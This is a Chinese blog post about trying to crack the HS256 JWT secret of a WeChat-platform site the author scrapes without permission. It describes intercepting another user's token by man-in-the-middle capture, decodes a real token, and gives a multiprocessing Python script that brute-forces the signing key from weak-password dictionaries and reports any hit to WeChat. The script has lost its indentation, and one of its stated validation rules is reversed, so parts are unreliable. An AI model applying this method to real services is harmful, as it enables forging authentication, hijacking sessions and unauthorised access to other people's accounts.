一次關於jwt的嘗試破解

一、為什麼研究jwt

jwt是現在前後端分離項目中很流行的跨域身份驗證解決方案,我前段時間不知道啥是jwt是啥,後來一步步揭開它的神秘面紗,聽我慢慢道來。

最近在用爬蟲爬一個站點的圖片。結構復雜混亂,花瞭好長時間。但是沒有什麼反爬,唯一麻煩的就是構造請求的時候cookie裡面的token兩個小時過期一次,使用瞭很多的方法。 方案一:每次都要拿上fiddler,中間人獲取別人的token,輸入到腳本中去,腳本加入瞭server醬的微信token過期提醒。 方案二:單獨搭建服務器用手機的httpcanary這個類似fiddler的安卓軟件獲取token提交token到我自己的服務器,腳本再請求我的服務器獲取token,不用守著電腦瞭。

方案三:還fiddler script 寫原生的ajax自動提交請求的請求頭再通過服務器程序正則提取想要的token保存到數據庫,爬蟲腳本請求我自己的服務器獲取token。

真的太折磨人瞭。因為目標站點是微信平臺,很難在瀏覽器打斷點,自己也不會js逆向,分析token過期以後該怎麼請求服務器來簡單的獲取新的token。

二、來分析一下這個token吧

這個token存在請求的cookie中。是 三個鍵值對形式的cookie。第一個sajssdk_2015_cross_new_user=1,沒有分析出來是什麼東西第二個sensorsdata2015jssdkcross就牛逼瞭,這是神策數據大數據平臺開發文檔裡面的關鍵字,看瞭下官網,在前端埋點收集用戶點擊,後臺大數據分析,精準營銷?定向營銷?收集用戶需求,給公司決策提供數據支撐?(有興趣可以去百度下)第三個APP_TOKEN,這就是重點所在。根據不斷嘗試,其他數據可以變,都可行,就這個改變瞭會報錯。

這個APP_TOKEN的內容就是傳說中的jwt驗證eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxODI3NjEiLCJhdWQiOiJXRUlYSU4iLCJleHAiOjE1ODc1NjgxODAsImlhdCI6MTU4NzU2MDk4MCwianRpIjoiMWQzMDhhOWEtNzg0ZC00NzVjLWE5ZDEtOGZiZmYxMTk1MDY0In0.F4G-NpKcqQ5AuZyK1R7LTPi5zX0AW3hOalODvoeny5QJWT有三個部分如下,以點號分割。分別為JWT頭、有效載荷和簽名拿到http://jwt.io這個在線解密網站解密一下。

第一部分:jwteyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9為jwt的頭,base64解碼為:{"alg": "HS256","typ": "JWT"}alg屬性表示簽名使用的算法,默認為HMAC SHA256(寫為HS256);typ屬性表示令牌的類型,JWT令牌統一寫為JWT。第二部分:有效載荷eyJzdWIiOiIxODI3NjEiLCJhdWQiOiJXRUlYSU4iLCJleHAiOjE1ODc1NjgxODAsImlhdCI6MTU4NzU2MDk4MCwianRpIjoiMWQzMDhhOWEtNzg0ZC00NzVjLWE5ZDEtOGZiZmYxMTk1MDY0In0base64解密為:{ "sub": "182761", "aud": "WEIXIN","exp": 1587568180,"iat": 1587560980, "jti": "1d308a9a-784d-475c-a9d1-8fbff1195064"}sub:用戶唯一idaud:客戶端類型exp:過期時間iat:簽發jwt時間jti:每一次jwt的簽發的唯一ID過期時間和簽發時間相減剛好兩小時第三部分:簽名F4G-NpKcqQ5AuZyK1R7LTPi5zX0AW3hOalODvoeny5Q這就是最重要的部分,因為jwt的簽發是從服務器簽發給客戶端的。通過一個密鑰生成的,在任何場景都不應該流露出去。一旦客戶端得知這個密鑰, 那就意味著客戶端是可以自我簽發jwt瞭,我最終就是要找到這個密鑰。生成方式就是前兩部分分別base64加密組成字符串再加上密鑰這個字符串再通過第一部分聲明的HS256方式加密得出來瞭的。HS256就是一種對稱加解密。加解密就是一個密鑰。

三。分析完畢,開始破解

接下來就要求到這個密鑰,根據多方采集的資料,隻有窮舉弱口令暴力破解瞭。綜合運用,采用多線程,微信通知成功的消息,開始網上搜集一些弱口令。

講解一下python中jwt模塊驗證方式,我將采用jwt的解碼,查看解碼時的各種狀態判斷爆破是否成功,就是不斷試錯,看試錯結果

稍微解釋一下,看不懂略過就行:

1.若簽名直接校驗失敗,則 key_ 為有效密鑰;

2.若因數據部分預定義字段錯誤(jwt.exceptions.ExpiredSignatureError,jwt.exceptions.InvalIDAudienceError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.ImmatureSignatureError)導致校驗失敗,說明並非密鑰錯誤導致,則 key_ 也為有效密鑰;

3.若因密鑰錯誤(jwt.exceptions.InvalidSignatureError)導致校驗失敗,則 key_ 為無效密鑰;4.若為其他原因(如,JWT 字符串格式錯誤)導致校驗失敗,根本無法驗證當前 key_ 是否有效。

代碼如下

import requests
import jwt
import datetime
import os
import time
from multiprocessing import Pool
jtws = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxODI3NjEiLCJhdWQiOiJXRUlYSU4iLCJleHAiOjE1ODc1NjgxODAsImlhdCI6MTU4NzU2MDk4MCwianRpIjoiMWQzMDhhOWEtNzg0ZC00NzVjLWE5ZDEtOGZiZmYxMTk1MDY0In0.F4G-NpKcqQ5AuZyK1R7LTPi5zX0AW3hOalODvoeny5Q"

def server_send(key):
#server醬通知,通知到我自己的微信,要改自己的密鑰哦
jsons = {'text':"key找到瞭",'desp':str(key)}
urls = "https://sc.ftqq.com/SC*******************************************.send?"
datas = requests.get(urls,params=jsons)
print("找到瞭!!!!!!!!!!!!!!!!!!"+str(jsons)+str(datas))

def jwt_test(key_):
if key_:
try:
key_ = str(key_, encoding = "utf-8")
except:
return
try:
jwt.decode(jtws,verify=True,key=key_)
server_send(key_)
except (jwt.exceptions.ExpiredSignatureError,jwt.exceptions.InvalidAudienceError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.ImmatureSignatureError):
server_send(key_)
except jwt.exceptions.InvalidSignatureError:
pass

if __name__ == "__main__":
all_count = 0
rootdir = r'H:111ggkeyEWSA跑字典(相關程序)'
list = os.listdir(rootdir)
for i in list:
path = r"H:111ggkeyEWSA跑字典(相關程序)\" + str(i)
key_list = []
with open(path, 'rb')as f:
for line in f:
key_ = line.strip()
key_list.append(key_)#搜集每一個文件下的弱口令組成一個數組放到線程池爆破。
totalStartTime = datetime.datetime.now()
pool = Pool(processes=16, )#16個線程的線程池
pool.map(jwt_test, key_list)
pool.close()
pool.join()
endtime = datetime.datetime.now()
time.sleep(1)
print(str(i) + "有" + str(len(key_list)) + "個弱口令已跑完,耗時:" + str((endtime - totalStartTime).seconds))
all_count = all_count + len(key_list)
print("一共有" + str(all_count) + "個口令已經跑完")

赞(0)